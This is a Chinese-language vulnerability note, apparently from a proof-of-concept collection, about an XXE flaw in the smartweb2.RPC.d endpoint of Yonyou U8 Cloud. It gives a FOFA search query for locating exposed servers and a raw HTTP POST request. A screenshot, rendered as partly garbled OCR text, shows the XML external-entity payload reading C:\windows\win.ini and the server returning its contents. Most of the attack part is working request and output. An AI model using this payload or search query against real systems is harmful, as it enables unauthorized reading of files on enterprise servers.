# Y4-26用友-NC-XXE

# 漏洞描述:

用友U8 Cloud smartweb2.RPC.d接口处存在 XXE漏洞,攻击者可通过该漏洞获取敏感文件信息,攻击者添加恶意内容,通过易受攻击的代码,就能够攻击包含缺陷的XML处理器。

#### 网站图片:







体验

UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级。

连接

衬交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接, 提供企业间数据共享和连接的服务, 形成基于化 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

# 网络测绘:

# fofa语法:

FOFA: app="用友-U8-Cloud"

## 漏洞复现:

## payload:

POST /hrss/dorado/smartweb2.RPC.d?\_\_rpc=true HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12 10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, image/appng,\*/\*;q=0.8, application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh;q=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

## 效果图:

```
〈 〉 数据包扫描 热加载 构造请求 $3
                                                                                                                           Responses 292bytes / 66ms
Request
                                                                                                                                  HTTP/1.1-200-0K
 1 POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
                                                                                                                                  Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=EBF221EB9C6919E6081
       User-Agent: Mozilla/5.0 (Macintosh; Intel-Mac-OS-X-12_10) AppleWebKit/600.1.25 (KHTML, like-Gecko)
                                                                                                                                  Content-Type: text/xml; charset=utf-8
Date: Fri, 05 Jan 2024 11:14:08 GMT
       Version/12.0 Safari/1200.1.25
       Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,
       application/signed-exchange;v=b3
       Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
                                                                                                                                  Content-Length: 292
                                                                                                                                  <?xml·version="1.0"?>
       Content-Type: application/x-www-form-urlencoded
                                                                                                                            <errorMessage></errorMessage>
                                                                                                                            11
         _viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE-z
                                                                                                                                   <stackTrace><![CDATA[]]></stackTrace
       [<!ENTITY-Password-SYSTEM-"file:///C://windows//win.ini"->]><rpc-transaction="10" method="resetPwd"><vps><prname="__profileKeys">%26Password;</vps></pr>
                                                                                                                            13
                                                                                                                                  < <viewProperties>
                                                                                                                            14
                                                                                                                                   [fonts]
                                                                                                                                   [extensions]
                                                                                                                            16
                                                                                                                                  [mci extensions]
                                                                                                                            17
                                                                                                                                  [files]
                                                                                                                                  [Mail]
                                                                                                                            19
                                                                                                                                   MΛPT=1
                                                                                                                            20
                                                                                                                                   </result>
```